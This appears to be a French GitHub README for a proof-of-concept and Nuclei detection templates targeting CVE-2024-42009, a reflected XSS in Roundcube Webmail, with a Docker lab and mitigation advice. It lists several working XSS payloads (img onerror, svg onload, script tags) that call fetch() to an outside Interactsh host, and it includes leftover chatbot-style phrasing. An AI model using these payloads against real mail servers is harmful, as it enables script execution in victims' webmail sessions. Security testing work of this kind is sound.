CVE-2024-42009 – XSS réfléchi dans Roundcube Webmail

📌 Aperçu

Ce dépôt contient un modèle Nuclei et des ressources associées pour démontrer et valider en toute sécurité CVE-2024-42009, une vulnérabilité critique de XSS réfléchi dans Roundcube Webmail. Le défaut réside dans la fonction message_body() de show.php, où des modifications post-assainissement entraînent un désassainissement et un rendu non sécurisé de contenu d'e-mail HTML contrefait.

⚠️ Cette preuve de concept (PoC) est destinée uniquement à des tests éducatifs et autorisés. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas explicitement la permission de tester.

🧠 Résumé de la vulnérabilité

Identifiant CVE : CVE-2024-42009
Sévérité : Critique (CVSS 9.8)
Versions affectées : Roundcube ≤ 1.6.7 et ≤ 1.5.7
Versions corrigées : 1.6.8 et 1.5.8
Composant : message_body() dans show.php
Impact : Exécution arbitraire de JavaScript lorsqu'un utilisateur consulte un e-mail malveillant

🧪 Stratégie de détection (Usage laboratoire uniquement)

Ce dépôt utilise la détection hors bande (OOB) via Interactsh pour confirmer l'exécution de JavaScript dans un laboratoire contrôlé.

Étapes clés :

Déployez une instance Roundcube vulnérable (par exemple, via Docker)
Envoyez un e-mail contrefait avec une balise <body> contenant onanimationstart et un beacon vers Interactsh
Ouvrez l'e-mail dans l'interface Roundcube
Confirmez le rappel DNS/HTTP vers le domaine Interactsh

🐳 Configuration du laboratoire

Utilisez le fichier Docker Compose fourni pour démarrer une instance Roundcube locale avec MailHog (réceptacle SMTP) et MariaDB.

git clone https://github.com/Shubhankargupta691/CVE-2024-42009.git
cd CVE-2024-42009
docker compose up -d

Interface Roundcube : http://localhost:8080
Interface MailHog : http://localhost:8025
Méthode de connexion : Compte Google

⚠️ N'utilisez pas votre compte Google.

📁 Contenu du dépôt

CVE-2024-42009-OOB.yaml – Modèle Nuclei avec détection Interactsh et hors bande (OOB)
CVE-2024-42009.yaml – Modèle Nuclei sans Interactsh ni OOB
docker-compose.yml – Configuration de l'environnement de laboratoire pour Roundcube Webmail
Images/ – Captures d'écran montrant les requêtes HTTP/DNS provenant d'Interactsh

🎥 Démonstration vidéo

Cette vidéo parcourt l'ensemble de la chaîne d'exploitation :

Création de la charge utile (payload)
Envoi par e-mail ou par endpoint
Déclenchement de la vulnérabilité
Confirmation du beacon via Interactsh

(démonstration vidéo)

Pour inclure ces payloads XSS de manière responsable dans votre README, vous voudrez les placer dans une section clairement étiquetée à des fins éducatives ou de test. Voici une structure suggérée :

🧪 Exemples de payloads XSS (Uniquement à des fins de test)

⚠️ Avertissement : Ces payloads sont destinés uniquement à un usage éducatif et à des tests de sécurité autorisés. Ne les déployez pas sur des systèmes sans autorisation explicite.

<!-- Image tag with onerror -->
<img src="https://interact.sh/xss-test" onerror="fetch('https://interact.sh/hit')">

<!-- Broken image source with onerror -->
<img src="https://raw.githubusercontent.com/shubhankargupta691/cve-2024-42009/HEAD/x" onerror="fetch('https://interact.sh/hit')">

<!-- SVG with onload -->
<svg onload="fetch('https://interact.sh/hit')"></svg>

<!-- Script tag -->
<script>fetch('https://interact.sh/hit')</script>

<!-- JavaScript in iframe src -->

🧭 Comment l'utiliser

Remplacez https://interact.sh/hit par votre propre endpoint d'écoute.
Utilisez-les dans des environnements contrôlés comme des laboratoires locaux ou des plateformes CTF.
Surveillez votre endpoint pour les requêtes entrantes afin de valider l'exécution.

🛡️ Atténuation

Mettez à jour Roundcube vers :

1.6.8 ou 1.5.8
Ces versions suppriment la logique de post-traitement vulnérable et appliquent un assainissement plus strict ainsi que des en-têtes CSP.

📜 Références

Parfait — voici une section Références propre et professionnelle que vous pouvez inclure dans votre README ou votre soumission par e-mail pour CVE-2024-42009. Elle cite toutes les sources que vous avez listées, formatées pour plus de clarté et de crédibilité :

📚 Références

Entrée CVE NVD – CVE-2024-42009 – Liste officielle de la vulnérabilité avec score CVSS et versions affectées
Blog SonarSource – E-mails gouvernementaux en danger – Analyse technique approfondie et détail de l'exploitation
PoC GitHub par DaniTheHack3r – Exploit basé sur Python avec écouteur d'e-mails et payload déclenché par animation
PoC GitHub par Bhanunamikaze – Injection automatisée de payload et exfiltration via un écouteur HTTP
PoC GitHub par 0xbassiouny1337 – Exploit XSS stocké avec capture d'e-mails en temps réel et décodage

CVE-2024-42009

Populaires